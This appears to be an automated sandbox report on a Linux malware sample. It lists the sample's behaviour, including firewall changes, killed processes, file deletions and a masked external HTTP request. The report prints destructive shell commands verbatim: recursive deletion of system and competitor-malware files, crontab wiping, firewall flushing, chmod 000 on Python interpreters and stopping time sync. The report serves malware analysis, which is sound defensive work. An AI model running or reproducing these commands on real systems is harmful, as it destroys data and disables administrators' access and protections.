Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- -1
- xyjtkw
- 69
Modifies firewall settings:
- iptables -I INPUT -s 178.170.189.0/24 -j DROP
- iptables -F
- iptables -I INPUT -s 91.215.168.0/22 -j DROP
- iptables -I INPUT -s 45.141.84.0/22 -j DROP
- iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string pastebin.com -j DROP
Manages services:
- systemctl stop systemd-timesyncd
Launches processes:
- sh -c rm -rf /usr/local/sbin/* ; rm -rf /usr/sbin/.* ; rm -rf /usr/bin/.* ; rm -rf /sbin/.* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; rm -rf /lib/libseli* ; rm -rf /lib/libse1inu* ; rm -rf /etc/sysupdate ; rm -rf /etc/sysguard ; rm -rf /etc/update.sh ; rm -rf /etc/networkservice ; rm -rf /etc/sysr.sh ; rm -rf /etc/syscb ; rm -rf /etc/sysnpmc ; rm -rf /etc/httpdz ; rm -rf /etc/hos* ; rm -rf /etc/migrations ; rm -rf /etc/initdz ; >/dev/null 2>/dev/null
- rm -rf /usr/local/sbin/*
- rm -rf /usr/sbin/. /usr/sbin/..
- sh -c rm -rf /etc/hos* ; crontab -r ; rm -rf /bin/.ht* ; rm -rf /usr/bin/.sshd* ; rm -rf /bin/.sysl* ; rm -rf /etc/sta* ; rm -rf /usr/sbin/crond ; chmod 000 /usr/bin/py* ; rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; rm -rf /root/.ba* ; rm -rf /lib64/liblzma* ; rm -rf /lib64/libaio* ; rm -rf /usr/sbin/rpcio* ; rm -rf /usr/sbin/config.* ; >/dev/null 2>/dev/null
- sh -c systemctl stop systemd-timesyncd ; systemctl disable systemd-timesyncd ; >/dev/null 2>/dev/null
- sh -c iptables -F ; iptables-save ; >/dev/null 2>&1
- sh -c
- rm -rf /etc/host.conf /etc/hostname /etc/hosts /etc/hosts.allow /etc/hosts.deny
- crontab -r
- sh -c echo \"nameserver 8.8.8.8\" >> /etc/resolv.conf ; >/dev/null 2>&1
- rm -rf /bin/.ht*
- rm -rf /usr/bin/.sshd*
- rm -rf /bin/.sysl*
- rm -rf /etc/staff-group-for-usr-local
- rm -rf /usr/sbin/crond
- iptables-save
- chmod 000 /usr/bin/py3clean /usr/bin/py3compile /usr/bin/py3versions /usr/bin/pybuild /usr/bin/pyclean /usr/bin/pycompile /usr/bin/pydoc /usr/bin/pydoc2.7 /usr/bin/pydoc3 /usr/bin/pydoc3.4 /usr/bin/pygettext /usr/bin/pygettext2.7 /usr/bin/pygettext3 /usr/bin/pygettext3.4 /usr/bin/pygmentize /usr/bin/python /usr/bin/python-config /usr/bin/python2 /usr/bin/python2-config /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python3 /usr/bin/python3.4 /usr/bin/python3.4m /usr/bin/python3m /usr/bin/pythontex /usr/bin/pythontex3 /usr/bin/pyversions
- rm -rf /home/*/.ss*/.kn*
- sh -c /root/xreswk
- /root/xreswk
Kills system processes:
- sshd
Kills the following processes:
- run.sh
- bash
- (sd-pam)
- acpid
- systemd
- <SAMPLE>
- /bin/sh
- /bin/chmod
- systemd-journal
Performs operations with the file system:
Modifies file access rights:
- /usr/bin/wget
- /dev/urandom
- /usr/bin/perl
- /usr/bin/python3.4
- /usr/bin/python2.7
- /usr/bin/mawk
- /usr/bin/xargs
- /bin/sed
- /usr/bin/crontab
- /root/xreswk
- /etc/hosts
Deletes folders:
- /tmp//.font-unix
- /tmp//.ICE-unix
- /tmp//.X11-unix
- /tmp//.XIM-unix
- /tmp//.Test-unix
Creates or modifies files:
- /etc/resolv.conf
- /root/xreswk
Deletes files:
- /usr/local/sbin/*
- /etc/host.conf
- /etc/hostname
- /bin/.ht*
- /usr/bin/.sshd*
- /bin/.sysl*
- /etc/staff-group-for-usr-local
- /usr/sbin/crond
- /home/*/.ss*/.kn*
- /usr/bin/perl
- /etc/hosts
Network activity:
Establishes connection:
- [:##]:53
- 127.0.0.1:53
HTTP GET requests:
- 16#.###.104.230/c/cf
